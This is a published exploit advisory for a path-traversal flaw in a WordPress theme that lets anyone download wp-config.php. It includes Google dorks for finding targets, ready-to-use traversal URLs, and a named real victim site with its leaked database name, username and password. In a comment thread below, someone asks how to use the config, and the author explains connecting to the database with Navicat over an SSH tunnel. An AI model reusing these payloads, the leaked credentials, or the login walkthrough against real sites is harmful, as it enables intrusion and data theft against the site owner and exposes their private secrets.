############################################################################################
# Exploit Title : WordPress 4.x Nishizawa_Tmp Themes Database Configuration File Download
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 20/03/2019
# Vendor Homepage : nishizawa-law.com - wordpress.org
# Software Information Link : nishizawa-law.com/english/about/aboutus.html
# Software Version : 4.x
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : inurl:/wp-content/themes/nishizawa_tmp/
intext:Copyright (C) 2019 Nishizawa Internatinal Law Office All Rights Reserved.
# Vulnerability Type :
CWE-16 [ Configuration ]
CWE-200 [ Information Exposure ]
CWE-23 [ Relative Path Traversal ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
############################################################################################
# Impact :
***********
* WordPress 4.x Nishizawa_Tmp Themes is prone to a vulnerability that lets attackers download database config file because
the application fails to sufficiently sanitize user-supplied input. An attacker can exploit this issue to download arbitrary files
within the context of the web server process and obtain potentially sensitive informations.
* An information exposure is the intentional or unintentional disclosure of information to an actor that is not explicitly authorized
to have access to that information. * The software has Relative Path Traversal vulnerability and it uses external input to construct
a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as ".." that can resolve
to a location that is outside of that directory.
############################################################################################
# Vulnerable File :
****************
/force-download.php
# Vulnerable Parameter :
**********************
?file=
# Database Configuration File Download Exploit :
********************************************
/blog/wp-content/themes/nishizawa_tmp/force-download.php?file=../../../wp-config.php
/wp-content/themes/nishizawa_tmp/force-download.php?file=../../../wp-config.php
Informations About MySQL Database Configuration File =>
****************************************************
** The name of the database for WordPress */
define('DB_NAME', '');
/** MySQL database username */
define('DB_USER', '');
/** MySQL database password */
define('DB_PASSWORD', '');
/** MySQL hostname */
define('DB_HOST', '');
############################################################################################
# Example Vulnerable Sites :
*************************
[+] nishizawa-law.com/blog/wp-content/themes/nishizawa_tmp/force-download.php?file=../../../wp-config.php
// ** MySQL Database Configuration File
/** WordPress
define('DB_NAME', 'z113080_blog');
/** MySQL
define('DB_USER', 'z113080');
/** MySQL
define('DB_PASSWORD', 'wMX4iLcV');
/** MySQL
define('DB_HOST', '127.0.0.1');
define('DB_CHARSET', 'utf8');
define('DB_COLLATE', ''
############################################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
############################################################################################
Thanks for you comment! Your message is in quarantine 48 hours.
Simsimi | Date: 2019-03-20 20:51 CET+1
how to login with use the wp-config?
Answer for Simsimi | Date: 2019-03-21 18:34 CET+1
Hello SimSimi.The wp-config.php file is an essential part of a WordPress site. It’s the bridge between the file system of a site and database. Navicat for MySQL is the ideal solution for MySQL/MariaDB administration and development. It is a single application that allows
you to connect to MySQL and MariaDB databases simultaneously. WordPress stores your database information in the wp-config.php file. Without this information your WordPress website will not work, and you will get the ‘error establishing database connection‘ error.
wp-config.php is one of the core WordPress files. It contains information about the database, including the name, host (typically localhost), username, and password. This information allows WordPress to communicate with the database to store and retrieve data.
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'database_name_here');
/** MySQL database username */
define('DB_USER', 'username_here');
/** MySQL database password */
define('DB_PASSWORD', 'password_here');
/** MySQL hostname */
define('DB_HOST', 'localhost');
How to connect to database using NaviCat MySQL client Remote MySQL connection is disabled on our Shared servers due to security reasons, but you can easily set up SSH tunnel between your PC
and our server using SSH-tunneling with the MySQL port (3306) forwarding. To connect to your MySQL database with Navicat software you should do the following:
1. Enable SSH access for your account using the Manage Shell cPanel plugin.
https://www.namecheap.com/support/knowledgebase/article.aspx/10040/2210/how-to-use-manage-shell-in-cpanel
https://namecheap.simplekb.com//SiteContents/2-7C22D5236A4543EB827F3BD8936E153E/media/navicat_1.png
https://namecheap.simplekb.com//SiteContents/2-7C22D5236A4543EB827F3BD8936E153E/media/navicat_2.2.png
https://namecheap.simplekb.com//SiteContents/2-7C22D5236A4543EB827F3BD8936E153E/media/navicat_3.png
https://namecheap.simplekb.com//SiteContents/2-7C22D5236A4543EB827F3BD8936E153E/media/navicat_4.2.png
Example Explanation :
2. Open your Navicat application >> Connection >> MariaDB:
3.In the General tab, fill out the fields as follows:
Host Name/IP Address: 127.0.0.1
Port: 3306
User Name: your database created user
Password: your database user password
3. Then, navigate to the SSH tab, check the box Use SSH tunnel and fill out the fields as shown below:
Host Name/IP address: your server hostname
Port: 21098
User Name: your cPanel username
Authentication Method: Password
Password: your cPanel password
4. Once done, press OK to save the connection settings. You will see your new connection on the left. Double-click it to connect to your database:
That's it.
ScreenShot for Navicat => https://www.navicat.com/images/02.Product_01_MySQL_Windows_01_Mainscreen.png
Connect with MySQL Database Management Softwares like Navicat => https://www.navicat.com/en/products/navicat-for-mysql
This topic so long for explanation. So I give the shortest explanation for you.
There are some videos and topics on Youtube [ it gives you some ideas ] => You can check them =>
https://www.youtube.com/watch?v=h9Y-TPoUAO8
https://www.youtube.com/watch?v=UwlaZdGmzKw
https://www.youtube.com/watch?v=Nj8Yr0I8lKI
https://www.youtube.com/watch?v=59DOLUnoGbQ
https://www.youtube.com/watch?v=6x-GBcKr5Eo
https://www.youtube.com/watch?v=WtvJB_K6bq4
https://www.youtube.com/watch?v=QIEFPmxrHsQ
https://www.youtube.com/watch?v=ZJkoPN3LwJ8
https://www.youtube.com/watch?v=-d8-TBdFN9U
https://docs.bitnami.com/bch/apps/wordpress/administration/connect-remotely-navicat/
https://www.inmotionhosting.com/support/website/database-connections/connect-database-navicat
https://www.namecheap.com/support/knowledgebase/article.aspx/9329/2180/how-to-connect-to-database-using-navicat-mysql-client
That's it. If you face a problem - let me/us know.